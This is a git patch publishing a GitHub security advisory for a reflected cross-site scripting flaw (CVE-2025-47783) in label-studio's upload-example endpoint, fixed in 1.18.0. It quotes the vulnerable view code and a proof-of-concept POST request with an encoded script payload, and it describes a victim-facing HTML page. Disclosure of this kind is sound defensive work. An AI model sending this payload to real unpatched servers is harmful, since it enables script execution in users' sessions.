From 207e542ed1c1af40b4630fd0fc6a47bc77d3c1d6 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Thu, 15 May 2025 16:22:33 +0000 Subject: [PATCH] Publish GHSA-8jhr-wpcm-hh4h --- .../GHSA-8jhr-wpcm-hh4h.json | 65 +++++++++++++++++++ 1 file changed, 65 insertions(+) create mode 100644 advisories/github-reviewed/2025/05/GHSA-8jhr-wpcm-hh4h/GHSA-8jhr-wpcm-hh4h.json diff --git a/advisories/github-reviewed/2025/05/GHSA-8jhr-wpcm-hh4h/GHSA-8jhr-wpcm-hh4h.json b/advisories/github-reviewed/2025/05/GHSA-8jhr-wpcm-hh4h/GHSA-8jhr-wpcm-hh4h.json new file mode 100644 index 00000000000..97a9cdd4d26 --- /dev/null +++ b/advisories/github-reviewed/2025/05/GHSA-8jhr-wpcm-hh4h/GHSA-8jhr-wpcm-hh4h.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-8jhr-wpcm-hh4h", + "modified": "2025-05-15T16:21:16Z", + "published": "2025-05-15T16:21:16Z", + "aliases": [ + "CVE-2025-47783" + ], + "summary": "label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.", + "details": "### Summary\nThe vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.\n\n### Details\nThe vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`.\n```python\n39: @require_http_methods(['POST'])\n40: def upload_example_using_config(request):\n41: \"\"\"Generate upload data example by config only\"\"\"\n42: config = request.POST.get('label_config', '')\n43: \n44: org_pk = get_organization_from_request(request)\n45: secure_mode = False\n46: if org_pk is not None:\n47: org = generics.get_object_or_404(Organization, pk=org_pk)\n48: secure_mode = org.secure_mode\n49: \n50: try:\n51: Project.validate_label_config(config)\n52: task_data, _, _ = get_sample_task(config, secure_mode)\n53: task_data = playground_replacements(request, task_data)\n54: except (ValueError, ValidationError, lxml.etree.Error):\n55: response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)\n56: else:\n57: response = HttpResponse(json.dumps(task_data))\n58: return response\n```\nThe vulnerability is specifically located in line 57, where HttpResponse is used.\n```python\n57: response = HttpResponse(json.dumps(task_data))\n```\n### PoC\nSend the following request after changing the `{host}` to your own.\n```css\nPOST /projects/upload-example/ HTTP/1.1\nHost: {host}\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 67\n\nlabel_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e\n```\nOr you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim.\n```html\n\n \n
\n \n \n
\n \n \n\n```\n### Impact\n- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing `document.cookie`, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "label-studio" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.18.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47783" + }, + { + "type": "WEB", + "url": "https://github.com/HumanSignal/label-studio/commit/97db9e7b16783e1f6052eb432a6f014f80ef268d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/HumanSignal/label-studio" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-05-15T16:21:16Z", + "nvd_published_at": "2025-05-14T23:15:48Z" + } +} \ No newline at end of file